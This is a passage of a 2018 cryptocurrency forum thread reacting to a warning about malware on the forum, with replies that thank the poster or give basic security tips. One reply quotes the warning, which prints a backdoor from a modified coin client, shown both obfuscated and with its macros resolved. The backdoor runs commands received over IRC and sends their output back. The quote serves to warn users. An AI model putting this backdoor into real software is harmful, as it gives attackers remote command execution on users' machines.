bedford1972
Jr. Member
Offline
Activity: 266
Merit: 2
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
February 21, 2018, 10:39:50 PM |
|
Good post, very cognitive. But I would add here recommendations how to minimize the risks of infection. For example, to create a separate computer for work on the network and separately for wallets. This will help at least keep the funds stored for a long time. I will also recommend using the Tabsbook program, in which you can save frequently used links and go only for them, since attackers often use official resources and make phishing sites. There are a bunch of other recommendations that I advise you to study before you start working with a crypto currency.
|
QUARKCHAIN - Blockchain Sharding Technology IS A FLEXIBLE, SCALABLE, AND USER-ORIENTED BLOCKCHAIN INFRASTRUCTURE. (https://quarkchain.io)
|
|
|
sportcoins
Newbie
Offline
Activity: 1
Merit: 0
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
February 23, 2018, 04:38:47 AM |
|
Thanks for the information. We hate Malware!
|
|
|
|
hashcoinusa
Member
![*](https://bitcointalk.org/Themes/custom1/images/star.gif)
Offline
Activity: 342
Merit: 10
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
February 26, 2018, 06:03:20 AM |
|
We will never have the insight into the code.
Dont installed wallet on your main computer. Create a virtual machine and limit your exposure.
|
|
|
|
robi5060
Newbie
Offline
Activity: 68
Merit: 0
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
February 26, 2018, 02:57:41 PM |
|
Can anyone please told me about what coin's are effected by sophisticated attacks/ malware.
|
|
|
|
Nanoverso
Jr. Member
Offline
Activity: 101
Merit: 3
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
February 26, 2018, 11:24:41 PM Last edit: May 16, 2019, 04:50:20 AM by Nanoverso |
|
Some information if these malware infection attempts are affecting other systems beyond Windows, like Mac or Linux? Checkout my Mario blog (Portuguese): Jogos do Mario Bros.
|
|
|
|
Dandidada
Newbie
Offline
Activity: 2
Merit: 0
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
February 28, 2018, 08:18:18 AM |
|
Thank y'all for the enlightenment..it's very much appreciated, knowing fully well there are lots of hacker trying to get easy crypto currency
|
|
|
|
prsharma
Newbie
Offline
Activity: 33
Merit: 0
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
February 28, 2018, 09:54:48 AM |
|
Very userful information for me, I never thought in mind that attackers might attack on this forum and post some malicious content here. thanks for info I will be cautious about content and links before click on it.
|
|
|
|
Motookerva
Newbie
Offline
Activity: 63
Merit: 0
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
March 01, 2018, 06:46:55 PM |
|
I am newbie and thanks for informing. I would like to ask how can we spot a scammer?
|
|
|
|
Marble777
Member
![*](https://bitcointalk.org/Themes/custom1/images/star.gif)
Offline
Activity: 736
Merit: 11
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
March 01, 2018, 10:12:06 PM |
|
Very userful information for me, I never thought in mind that attackers might attack on this forum and post some malicious content here. thanks for info I will be cautious about content and links before click on it.
it applies also to me because I am a beginner so I do not understand about this forum and sometimes feel paranoid when heard there are many cases of pishing but after reading the above information I really understand da sure that this forum is safe from hackers
|
|
|
|
seggardinggins
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
March 02, 2018, 09:34:02 PM |
|
Would running each wallet/miner in a different virtual machine with virtualbox prevent the effects of this kind of malware?
Maybe so but all the tools that are used as much as possible are only used for this purpose in my opinion would be too risky if the tool we use to open the wallet that we use also for other purposes such as games and download mp3 or video because We all know that many malware in most download link
|
|
|
|
jaydoes6
Newbie
Offline
Activity: 24
Merit: 0
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
March 03, 2018, 05:32:27 AM |
|
Cant you give anything new? It was prevailing from a very old times in btcs
|
|
|
|
gng
Newbie
Offline
Activity: 210
Merit: 0
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
March 03, 2018, 07:56:14 AM |
|
you think faucet sites send malware ?
|
|
|
|
AutumnSphinx
Newbie
Offline
Activity: 4
Merit: 0
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
March 03, 2018, 11:18:29 PM |
|
This is very informative especially to newbies like me. Thank you. Reading all the threads. I need to add security measures.
|
|
|
|
Ant112990
Newbie
Offline
Activity: 21
Merit: 0
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
March 04, 2018, 04:29:50 AM |
|
In the past months, malware infection attempts on this forum has become increasingly sophisticated. Below is a summary of infection techniques that I have encountered. With the most sophisticated attacks, common sense and virus scans is no longer sufficient to ensure safety. "latest wallet"/"custom wallet"/"faster miner"A newbie asks for the latest wallet, or wallet that doesn't have any tx fees, or the latest/fastest miner, and the attacker posts his in response. This type of attempt Usually gets spotted pretty quickly. Copied/new ANNThe attacker creates a new ANN topic and posts a malware link as the wallet (or a legit one and changes it to a malware one later). Replacing links in quotesThe attacker quotes a legitimate post containing a download link written by the real developer (usually the OP or a update post) and changes the link within the quote to a malware link. Compromised dev accountThe developer account (usually responsible for making the OP) is compromised and a "mandatory update" is posted. This usually happens with old/abandoned coins so the real developer isn't there to notice the rogue update. Packed/FUD executablesIn most of the cases above, the malware has little to now detections on virustotal. This is because any script kiddie can pay $30 and have their malware crypted, rendering them fully undetectable. Modified source with backdoorThis was recently brought to my attention via a user report. A newbie, under the guise of reviving a coin posted a new client along with source. However, the source was modified to include a backdoor in the IRC bootstrapping mechanism. here is the relevant source code: if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1) { CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r"); if (buf) { std::string result = ""; while (!feof(buf)) if (fgets(pszName, sizeof(pszName), buf) != NULL) result += pszName; CFree(buf); strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName)); if (strchr(pszName, '!')) *strchr(pszName, '!') = '\0'; Send(hSocket, strprintf("%s %s :%s\r", CBuff, pszName, result.c_str()).c_str()); } } here is the source code with macros resolved: if (vWords[1] == "PRIVMSG" && vWords[3] == ":!" && vWords[0].size() > 1) { FILE *buf = popen(strstr(strLine.c_str(), vWords[4].c_str()), "r"); if (buf) { std::string result = ""; while (!feof(buf)) if (fgets(pszName, sizeof(pszName), buf) != NULL) result += pszName; pclose(buf); strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName)); if (strchr(pszName, '!')) *strchr(pszName, '!') = '\0'; Send(hSocket, strprintf("%s %s :%s\r", "PRIVMSG", pszName, result.c_str()).c_str()); } } The code was part of the initial commit, so it would be difficult to notice the addition of the code by casual inspection. Also, this would likely not show up on any virus scans.Don't forget airship registration, asking for private keys.. I sent them mones and luckily found out immediately after I sent it.. and move my coin out the wallet and created a new wallet.
|
|
|
|
bekhuong45
Newbie
Offline
Activity: 126
Merit: 0
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
March 04, 2018, 10:32:03 AM |
|
we need say thanks U.. ![Smiley](https://bitcointalk.org/Smileys/default/smiley.gif) ) clap clpap
|
|
|
|
Magister Magus
Member
![*](https://bitcointalk.org/Themes/custom1/images/star.gif)
Offline
Activity: 328
Merit: 39
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
March 04, 2018, 10:44:19 AM |
|
Thank you very much for your precious info; I'm really stunned, as I never thought there were so many ways to be scammed ![Sad](https://bitcointalk.org/Smileys/default/sad.gif) Your post made me to think in a paranoid way, and I just wondered if we can really trust antimalware softwares: how can we be sure that THEY don't put something malicious, or don't scan for private keys? It seems that we are really in an electronic far west, and probably the next big battle will be in the field of security.
|
|
|
|
rammanbl4
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
March 04, 2018, 03:35:43 PM |
|
This is terrible, I really thank you, because I almost caught, and now I start to install Adblock, I hope to block all the malwares from online websites.
|
|
|
|
redshiftexpensive
Newbie
Offline
Activity: 69
Merit: 0
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
March 05, 2018, 03:11:51 AM |
|
Yes I was totally aware of it
|
|
|
|
cp3mc
Newbie
Offline
Activity: 34
Merit: 0
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
March 05, 2018, 11:19:46 AM |
|
I was thinking if there is way to automatic delete any Malware link post on this forum so that we may not even get to open the link.
|
|
|
|
superresistant
Legendary
Offline
Activity: 2142
Merit: 1131
|
![](https://bitcointalk.org/Themes/custom1/images/post/xx.gif) |
March 06, 2018, 02:48:33 PM |
|
I was thinking if there is way to automatic delete any Malware link post on this forum so that we may not even get to open the link.
You can't detect if an URL is malicious or not. Either all URL are ban or people are very careful.
|
|
|
|
|